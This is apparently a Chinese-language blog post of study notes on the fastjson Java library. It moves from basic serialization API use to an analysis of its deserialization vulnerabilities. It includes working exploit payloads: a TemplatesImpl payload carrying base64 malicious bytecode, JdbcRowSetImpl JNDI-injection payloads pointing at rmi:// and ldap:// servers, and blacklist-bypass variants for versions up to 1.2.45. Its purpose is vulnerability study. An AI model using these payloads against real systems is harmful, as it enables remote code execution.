fastjson 入门
https://www.runoob.com/w3cnote/fastjson-intro.html
学习路线 https://www.f4de.ink/pages/32905c/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
这是 阿里巴巴 维护的开源 JSON 解析库。它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为JSON 字符串,也可以从JSON 字符串反序列化到 JavaBean
对应需要转fastjson 格式的类 我们需要让对象 继承接口
FastJson利用 toJSONString
方法来序列化对象,而反序列化还原回 Object
的方法,主要的API有两个,分别是 JSON.parseObject
和 JSON.parse
,最主要的区别就是前者返回的是 JSONObject
而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject
来获取数据。
使用 fastjson
需要导入 fastjson 的支持包
1 | <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --> |
fastjson
的使用主要是三个对象:
- JSON
- JSONObject
- JSONArray
JSONArray和JSONObject继承JSON:
fastjson 的常用方法
- put(String key, Object value)方法,在JSONObject对象中设置键值对在,在进行设值得时候,key是唯一的,如果用相同的key不断设值得时候,保留后面的值。
- Object get(String key) :根据key值获取JSONObject对象中对应的value值,获取到的值是Object类型,需要手动转化为需要的数据类型
- int size():获取JSONObject对象中键值对的数量
- boolean isEmpty():判断该JSONObject对象是否为空
- containsKey(Object key):判断是否有需要的key值
- boolean containsValue(Object value):判断是否有需要的value值
- JSONObject getJSONObject(String key):如果JSONObjct对象中的value是一个JSONObject对象,即根据key获取对应的JSONObject对象;
- JSONArray getJSONArray(String key) :如果JSONObject对象中的value是一个JSONObject数组,既根据key获取对应的JSONObject数组;
- Object remove(Object key):根据key清除某一个键值对。
- Set
keySet() :获取JSONObject中的key,并将其放入Set集合中 - Set<Map.Entry<String, Object>> entrySet():在循环遍历时使用,取得是键和值的映射关系,Entry就是Map接口中的内部接口
- toJSONString() /toString():将JSONObject对象转换为json的字符串
讲Java 对象转为 JSON 格式
可以使用 JSON.toJSONString() 将 Java 对象转换换为 JSON 对象
首先我们写一个 测试 的对象 Person
1 | package test1; |
进行 json 转换
1 | package test1; |
序列化的时候回调用 属性的 get 方法。如果这个属性没有 get 方法如果想序列化 这个属性必须是 public 修饰
测试 修饰
1 | package test6; |
Main
1 | package test6; |
只序列化了 public String name;
也能对 list 进行 转换
1 | public class Main { |
json 序列化转义成对象
1 | package test2; |
输出结果
JSONObject 中放入键值对
1 | package test3; |
输出
将jsonobject对象作为value进行设置
1 | package test4; |
输出
fastjson 反序列化漏原理
fastjson 1.22-1.24
SerializerFeature.WriteClassName 时会在序列化中写入当前的type, @type 可以指定反序列化任意类,调用其set,get,is方法。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题,我们可以看下面这个例子通过指定 @type ,成功获取了相关数据。
set开头的方法要求如下:
- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
get开头的方法要求如下:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
JSON#parse
1 | package test5; |
再将带有@type
字段的序列化数据进行反序列化会得到对应的实例类对象。
1 | package test5; |
这里可以对 起进行序列化得到 对象
如果用的 不是 SerializerFeature.WriteClassName
生成的 还有 @type 的字符串
我们可以看到我们生成的是 JSONObject
而用 @type
的我们可以上传对应类的 对象
于是我们可以利用 带有 @type
字段的 json 数据在反序列化后 生成对应类对象
外面看看 反序列化的时候 是怎么样去创建的
创建 person
1 | package test7; |
调用 Main 函数
1 | package test7; |
外面发现 这里 外面会先调用 无参数构造方法,然后利用 set 方法赋值
JSON#parseObject
这里我们使用的 是 JSON#parse
我们还可以使用 JSON#parseObject
利用这个 函数我们还要指定对象
测试多种情况
1 | package test7; |
看情况发现
1 | System.out.println("------------------"); |
这个方法调用 parseObject 会调用
我们知道 在调用 toJSONSting
的时候回调用 get 方法
为什么我们这里调用的 是 parseObject
反序列化还是调用了 get 方法呢
我们看源码 进入 parseObject
的时候 这里我们会先调用 parse
这里会调用 无参构造方法,然后判断是否反序列化为了 JSONObject 对象,如果不是 就会调用 JSON.toJSON
这里就会调用到 get 方法
调试
我们发现这里我们传入的 是有 type 字段的
这里经过 parse
后 反序列化为了 Person 类 不是 JSONObject
所以还会进行后面的 JSON.toJSON
JSON.toJSON
对我们传入的 obj
判断是 什么数据结构然后进行封装,从而出现了 调用 get
方法的情况
- 当
JSON.parseObject
没有指定类型的时候,会调用无参构造函数,对应成员变量的setter
和getter
方法。 - 当
JSON.parseObject
指定了类型的时候,会调用无参构造函数,对应成员变量的setter
方法。
对于 properties 类型
对于properties 类型的变量
反序列化的时候,如果没有 set 方法,那么他会调用 这个类的 get 方法对我们 properties
修饰的类进行赋值
person
1 | package test8; |
Main
1 | package test8; |
调用 get 方法的 时候
满足条件的setter:
- 函数名长度大于4且以set开头
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 函数名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
ProPerties
能被调用是因为 Properties
满足上述。
继承了 Map 接口
parse 反序列化时的 Feature.SupportNonPublicField
我们知道 如果我们要反序列化的一个有 @type
标签的时候
如果我们的类中 没有对应 private 属性
的 public set
方法。
或者 这个属性不瞒住调用 对应 public get
方法的话。
我们反序列化的这个对象的 属性就不会成功
测试类
1 | package test9; |
Main 函数
1 | package test9; |
没有实现正确的 反序列化
如果我们添加 Feature.SupportNonPublicField
1 | package test9; |
成功序列化
如果没有 get set 方法的 private
类 我们可以添加 Feature.SupportNonPublicField
让对应属性能够 实现反序列化。
总结
方法 | JSON文本是否指定@type | 最终调用的方法 | 反序列化的结果 |
---|---|---|---|
parse(String json) | 否 | 不调用方法 | JSONObject对象 |
parse(String json) | 是 | 构造方法 + setter + 满足条件的getter | 对应类的对象 |
parseObject(String json) | 否 | 不调用方法 | JSONObject对象 |
parseObject(String json) | 是 | 构造方法 + settet + getter + 满足条件的getter | JSONObject对象 |
parseObject(String json,Class class) | 否 | 构造方法 + settet + 满足条件的getter | 对应类的对象 |
parseObject(String json,Class class) | 是 | 构造方法 + settet + 满足条件的getter | 对应类的对象 |
漏洞学习
需要学习 RMI
JNDI
JSON 反序列化 是根据
@type
字段指定的类名进行 反序列化的,所有只要我们将这个字段 定义为 危险类,这样就能反序列化危险对象。
这里我们可以试着反序列化 自己写的 恶意类看看能不能调用。我们知道当反序列化时 会调用类的无参构造方法。
EvilClass
1 | package test10; |
调用类
1 | package test10; |
FastJSON 的调用模式基本就是这样。
历史漏洞
Fastjson 1.2.22-1.2.24反序列化漏洞
这个版本的jastjson有两条利用链
JdbcRowSetImpl
Templateslmpl
漏洞调试
TemplatesImpl
漏洞分析
这里的利用是利用加载对应 base64 加密后的 class 字节码从而实现利用。
恶意java 类
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
先编译为 .class 文件。
然后取出字节码进行 base64 加密
1 | import base64 |
从而构造出屋面需要的 payload
1 | {\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg==\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"} |
利用代码
1 | package payload2; |
payload 参数分析
目的调用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,让其调用 getOutputProperties
方法,实例化传入的 bytecodes(恶意类字节码)
从而造成命令执行
_bytecodes
放置 base64 编码的恶意类字节码_name
调用赋值,从而绕过getTransletInstance
检测实现 恶意类实例_tfactory
为null
会报错outputProperties
赋值实现调用getOutputProperties
从而 能 进行恶意实例化
调试分析
这里的 JSON.parseObject
屋面添加了 Feature
参数 (必须拥有
因为 我们利用的 TemplatesImpl
里面用到的很多 参数都是 private
类型的,所以要添加 Feature.SupportNonPublicField
才能正常运行我们的恶意反序列化
首先根据 Feature.SupportNonPublicField
选择对应模式。
JSONLexe
—— 处理Json分词,next()可以获取Json字符串的下一个字符ParserConfig
—— 包含解析配置,反序列化器,标签等各类配置信息JavaBeanDeserializer
—— JavaBean反序列化类JSONScanner
—— 负责扫描和获取json字符串中的Token并返回ObjectDeserializer
—— 负责将json字符串反序列化,与JavaBean有关系,内置各种类型的反序列化器
接着运行到 DefaultJSONParser#parseObject
这里利用
lexer.scanSymbol(symbolTable, '"')
获得 key 为 @type
字段。
然后根据 @type
调用 loadClass
这样我们的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
被加载
然后会调用到 this.config.getDeserializer(type)
获取反序列化器的流程 接着进行 反序列化
这里我们要跟进这个 deserializer
会进入到 JavaBeanDeserializer
(由 this.config.getDeserializer
里面调用 createJavaBeanDeserializer
创建)中
这这个函数中,会一次 获取我们 fastjson 中给 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
设置的字段的值进行 反序列化
直到扫描到我们的 _bytecodes
字段
获得 这个 字段后
会进行 实例化我们的 对象
然后运行到 parseField
开始解析属性,选取字节数组的反序列化器解析字段,将获取到的value
通过field.set
加入到object。
进入 parseField函数
里面获取 class 的属性名,匹配 名字 放入 extraFieldDeserializers
然后进入 DefaultFieldDeserializer#parseField
函数
然后调用 fieldValueDeserilizer.deserialze
在这里会把JSON文本中的_bytecodes
的值解析出来
跟进 fieldValueDeserilizer.deserialze
到 parser.parseArray(componentClass, array, fieldName);
然后调用了 setAccessible(true);
然后我们会运行 FieldDeserializer#setValue
这里会给 我们的 _bytecodes
赋值
这样我们需要的类的一部分就赋值了
JavaBeanDeserializer#deserialze
里面的scanSymbol
获取 fastJSON 里面的字段名然后调用进入
parseField
里面DefaultFieldDeserializer
匹配获得反序列化器 属性名,然后调用对应
fieldDeserializer.parseField
最后在执行DefailtFieldDeserializer#setValue
赋值。
直到解析 _outputProperties
跟进他的 获取到对应的fieldDeserializer
之后执行DefaultFieldDeserializer#parseField
,接着跟进到setValue
首先获得 _outputProperties
的 get 方法
因为我们的赋值 所以 会进入 到对应的 反射调用
触发getOutputProperties
方法
从而实现弹窗
利用 getOutputProperties
中 newTransformer()
接着调用 getTransletInstance()
最后调用 defineTransletClasses()
这里会对 _bytecodes
数字进行 defineClass 这里的 _bytecodes
已经是恶意类
且 static 方法就会被执行 从而执行恶意代码流程
JdbcRowSetImpl
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用
漏洞分析
@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型
主要限制因素是JDK版本。基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121,基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u191。
RMI+JNDI
这里利用的就是 com.sun.rowset.JdbcRowSetImpl
中的 JNDI 利用
com.sun.rowset.JdbcRowSetImpl
中 我们如果可以控制 这个类的 DataSourceName
属性,就能控制 这个类的 lookup
函数,在这里 因为我们能控制参数,所以利用 RMI 加载远程恶意类。
1 | JdbcRowSetImpl#setAutoCommit --> JdbcRowSetImpl#setAutoCommit#this.conn = this.connect(); --> DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); |
这里利用的 payload
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true} |
我们利用的 payload 就是为了实现上面的布置。
操作
服务端
1 | package payload1; |
被攻击
1 | package payload1; |
首先我们要利用 javac 将我们的恶意类编译为 class 文件。
1 | package payload1; |
javac EvilClass.java
编译。
这里利用的是 RMI 和 JNDI 注入。
首先我们要在
EvilClass.class
目录下启动 8888 端口的服务 (作为RMI 类注册机py3 -m http.server 8888
启动
Server
服务远程服务类
启动
Client
可以看到我们请求了对应的 class 文件
因为我们知道了 程序的调用逻辑
我们动态调试跟进一下
调用栈情况
获取到@type指定Class类型后,进入到this.config.getDeserializer
方法生成该类型的反序列化器。在FastjsonASMDeserializer_1_JdbcRowSetImpl
中会获取到属性的key值,并通过DefaultFieldDeserializer.parseField
方法反序列化属性
运行
首先会到 setDataSourceName
这里会设置 DataSourceName
的值
然后会运行到setAutoCommit
函数
这里会创建连接然后重现调用 setAutoCommit
运行进入 connect
函数 这里的 lookup 函数的参数也就是我们的 RMI 对应的远程类,这样我们就能获得这个远程恶意类的代理。
由于RMI服务器上已经注册好了恶意类,最终导致命令执行
版本问题
基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121,由于我默认环境为JDK8u211测试报错,在8u121版本后默认关闭了com.sun.jndi.rmi.object.trustURLCodebase
无法直接复现,为了方便测试可以直接在JVM参数里加入-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。下图为未开启参数的报错信息
版本绕过
1.2.125-1.2.41
在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
修改方法
把 DefaultJSONParser.parseObject
中的 TypeUtils.loadClass
替换为 this.config.checkAutoType()
这里使用的payload 为
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1099/EvilClass", "autoCommit":true} |
@type
字段 开头加了字符 L
末尾加 ;
调试查看为啥 首先根据到这里
继续向下 会到
TypeUtils.loadClass
里面会 处理我们的字符串 Lcom.sun.rowset.JdbcRowSetImpl;
从而得到 正确的 字符串
然后调用运行 loadClass
加载这个类
版本对应的 黑名单
1 | 0 = "bsh" |
黑名单检测在loadClass之前,相当于先通过 Lcom.sun. 绕过了 com.sun. 黑名单检测,检测后执行到loadClass方法时又去除了 L 符号
从而实现绕过
1.2.42
这个的绕过方式 直接
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1099/EvilClass", "autoCommit":true} |
修改了 里面的
checkAutoType
函数 这里面的黑名单改为了 哈希黑名单
开始会截取开头为 L
结尾为 ;
的截取 后的字符串然后比较
但是我们的loadClass
的时候 会递归去除我们的 开头 L
结尾 ;
我们只要再次双写就行
1 | if (typeName == null) { |
首先 截取后利用 hash 判断是不是黑名单中的
处理后为 我们得到 Lcom.sun.rowset.JdbcRowSetImpl;
比较返现不在我们的hash 表里面
然后第一次在 loadClass
我们得到 Lcom.sun.rowset.JdbcRowSetImpl;
return 继续 调用 loadClass
去除我们的 开头 L
结尾 ;
得到 com.sun.rowset.JdbcRowSetImpl
从而利用 classloader.loadClass 创建类 com.sun.rowset.JdbcRowSetImpl
类
1.2.25-1.2.43
在 1.2.43 中 我们利用 LL...;;
这样运行会抛出异常
但是我们发现 我们在 判断 L
和 ;
之前还有个 if 是判断字符串开头第一个字符是不是 [
我们可以利用 起那么加一个 [
实现绕过
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1099/EvilClass", "autoCommit":true} |
这里就不调试了
1.2.45
需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/EvilClass"}} |
黑名单绕过
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
不在黑名单中
且里面的 setter
方法也是可以控制 对应 lookup 的参数的